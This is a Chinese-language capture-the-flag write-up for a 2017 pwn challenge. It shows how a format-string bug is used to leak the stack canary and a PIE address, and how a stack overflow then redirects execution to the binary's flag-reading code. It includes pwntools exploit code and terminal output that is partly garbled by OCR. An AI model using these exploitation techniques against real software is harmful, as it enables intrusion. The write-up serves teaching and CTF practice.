[bookmark: _GoBack]这是cuit2017解出来的第一道pwn，本人还是太菜了。
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这个题目终于有点良心了，放出了漏洞程序文件。但是一查看程序开启的保护措施傻眼了，嘿嘿，全开，看来有所预谋：
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怎么办呢，先别急，去分析一下漏洞程序，其实漏洞很简单：
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赤裸裸的一个栈拷贝溢出漏洞，copy_x函数把用户输入最多0x80个字节拷贝到了栈缓冲区buf，但是buf离ebp只有0x40的距离，当用户输入大于0x40字节便会发生越界拷贝，有机会覆盖返回地址，劫持eip；然而由于canary（即栈cookie，专门用来检测栈缓冲区溢出）的存在我们无法直接覆盖返回地址就能劫持eip，因为上面的程序中函数一开始“v5 = *MK_FP(__FS__, 40LL);”，最后检查“v3 = *MK_FP(__FS__, 40LL) ^ v5;”，类似这样的代码都是由于开启了栈保护在检测cookie值，可以看一下汇编的实现，函数开头从fs:28h（64位保存在此）读取cookie值到栈上：
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函数结尾异或一下进行校验，若栈上的cookie因为溢出拷贝被破坏则结果非0便无法正常返回：
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这么明显的漏洞放弃了是不是有点可惜，只好先再找找其他漏洞了：
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呵呵，又是格式化字符串漏洞，这次用的是“sprintf”，并且buf也还是在栈上：
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那么，就利用这个来读取保存在栈上的cookie（canary）吧，还是用的“%x”来泄漏栈数据，cookie值保存在第40个偏移的位置上（调试一下就能知道，懒得直接计算了）：
from pwn import *
import binascii
 	
def leave_msg(format):
	target.sendline("3")
	target.recvuntil('msg:')
	target.sendline(format)
	return target.recvuntil('guest ')
 	
#leak canary
s_canary = leave_msg("%40$lx")
s_canary = s_canary[s_canary.find('msg:') + 4:][0:16]
canary = int(binascii.hexlify(binascii.a2b_hex(s_canary)), 16)
print 'canary : %016x' % canary
先拿到cookie保存，因为cookie值是不变的，只要漏洞程序不重启就可以复用：
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现在，拿到了cookie值，只要覆盖返回地址的时候将该值放在原来的地址就可以绕过栈保护的检测了，剩下的就是劫持返回地址了，可是现在才想起来程序又开启了PIE，这就意味着程序的加载地址随机化了，无法预知可以跳转的合适地址（漏洞程序的映像地址范围），怎么办？再泄漏一下栈上残留的一些调用指针数据呗，调试后发现在偏移位置为52的地方可以泄漏一个程序地址：
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Ok，通过两次泄漏（因为程序限制只能调用依次sprintf，所以可以一次拼接两个“%x”，也可以事先调用“%x”泄漏cookie值写死，然后exp里只用一个“%x”泄漏程序地址即可），结合栈缓冲区溢出漏洞就可以劫持eip到程序范围内的地址去执行指令了，但是具体要劫持到哪里是可以选择的，可以构造rop gadgets拿shell（步骤参见之前分享），也可以直接跳转到程序为我们准备好的读取flag的代码地址：
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既然主办方这么爱惜我们的生命，那就到此为止直接跳到这个位置去执行flag读取代码吧：
canary = 0x73fdd88e51cfe100 #local
#canary = 0x73772d6c2dcda27c #remote
s_addr = leave_msg("%52$lx")
#print s_addr
s_addr = s_addr[s_addr.find('msg:') + 4:][0:12]
addr = int(binascii.hexlify(binascii.a2b_hex(s_addr)), 16)
print 'addr : %016x' % addr
pause()
ret = addr - 0x70C - 0x1177 + 0xf09
payload = 'a' * (0x40 - 0x18) + p64(canary) + 'b' * 0x18 + p64(ret)
login(payload)
 	
target.interactive()  
直接输出flag完事：
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Ok，游戏结束！
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read(fd, , Bx80uLL);
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root@localhost:~/pwn2# python pwn2.py
[*] '/root/pun2/pwn208"
Arch: and64-64-little
RELR( FULL/RELRO
€anary - found
NXcenabled
PIE enabled

+] Opening connection to 127.0.0.1 on port 1024: Done
canar, 73fdd88e51cfel0®
osed connection to 127.0.0.1 port 1024
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reakpoint 1, write|() at ../sysdeps/unix/syscall-template.S:84 root@localhost:~/pwn2# nc 127.0.6.1 1024
in_../sysdeps/unix/syscall-template.S 1. Login

(gdb) [Finish | 2. Get File

Run till exit from #0 write () at ../sysdeps/unix/syscall-template.S:84 3. Leave a message

0x000055ab2ed0046d in ?? () S s 1

(gdb) x /81 $pc RS Nane:weiyiling

=> |0x55ab2ed046d Tea  -0xad (%rbp) %rcx 1. Login
0x55ab2ed00474 mov  -0xbd(%rbp) %seax 2. Get File
0x55ab2ed0047a mov  $6x80,%edx 3. Leave a message
0x55ab2ed0047f mov  srox,%rsi weiyiling
0x55ab2ed00482 mov  s%eax,%edi Inpu msg:%5250161x
0x55ab2ed00484 callg Ox55ab2ecffccd <readeplt>
0x55ab2ed00489 lea  -0xad (%rbp) %rdx Ok, T get your,msg:000055ab2ed00883
0x55ab2ed00490 mov  -0xa8(%rbp),%rax

(gdb) [x /120xw

0x7ffec9212600: 0xc92127a0 0x00007Ffe 0xC92126e0 0x00000004

0x7ffec92126e0: 0x5528cb00 0x00007728 0x36b5a030 0x000055ab

0x7ffec92126f0: 0x00000000 0x00009000 0x00009000 0x00009000

0x7ffec9212760: 0x00000000 0x00009000 0x00009000 0x00009000 -

0x7ffec9212710: 0x00000000 0x00009000 0x00009000 0x00009000

0x7ffec9212720: 0x00000900 0x00009000 0x00009000 0x00009000

0x7ffec9212730: 0x00000900 0x00009000 0x00009000 0x00009000

0x7ffec9212740: 0x00000900 0x00009000 0x00009000 0x00009000

0x7ffec9212750: 0x00800000 0x00009000 0x00009000 0x00009000

0x7ffec9212760: 0x00000900 0x00009000 0x00009000 0x0800900

0x7ffec9212770: 0x00000020 0x00009000 0x51cfel00 0x73fdd2ge

0x7ffec9212780: 0x5528ch00 0x00007728 0xC92135b9 0x00007 Ffe

0x7ffec9212790: 0xc9212770 0x00007Ffe 0x2ed08612 0x006055ab

0x7ffec92127a0: 0xc92135b9 0x00007Ffe 0x00000040 066000004

0x7ffec92127b0: 0x00800000 0x00009000 0x00009002 00000003

0x7ffec92127c0: 0x203e2d2d 0x79696577 0x6e696C69 0x00002067

0x7ffec92127d0: 0x00800800 0x00009000 0x00009000 0x00000000

0x7ffec92127e0: 0x00000000 0x00009000 0x51cfel00 0x73fddsse

0x7ffec9212710: 0xc9212840 0x00007fe 0x2ed007) 0x000055ab

0x7ffec9212800: 0xc92135b9 0x00007Ffe 0x00009562 0x00000003

0x7ffec9212810: 0x00040002 0x00009000 0x00069010 0x00009000

0x7ffec9212820: 0x52820002 0x0100007F 0x0P908000 0x00009000

---Type <return> to continue, or q <return> to ouit---
x7ffec9212840: 0xc9212880 0x00007fe 0x2ed00883 0x000055ab
Ox7ffec0212850: 0xc9212968 0x00007 ffe 0x00000000 0x00000003
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root@localhost:~/pwn2# python pwn2.py
[*] '/root/pun2/pwn208"

Arch: and64-64-little

RELRO:  Full RELRO

Stack:  Canary found

NX: NX_enabled

PII PIE enabled
[+] Opening connection to 127.6.6.1 on port 1624: Done
addr : 000055ab2ed00883
[*] Paused (press any to continue)

*] Switching to interactive mode
SYC{0177eb22bbe7a6107aaa7e638b
bbbbbbbb[*] Got EOF while reading in interactive

£ |
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root@localhost:~/pwn2# python pwn2.py
[*] '/root/pwn2/pwn260"
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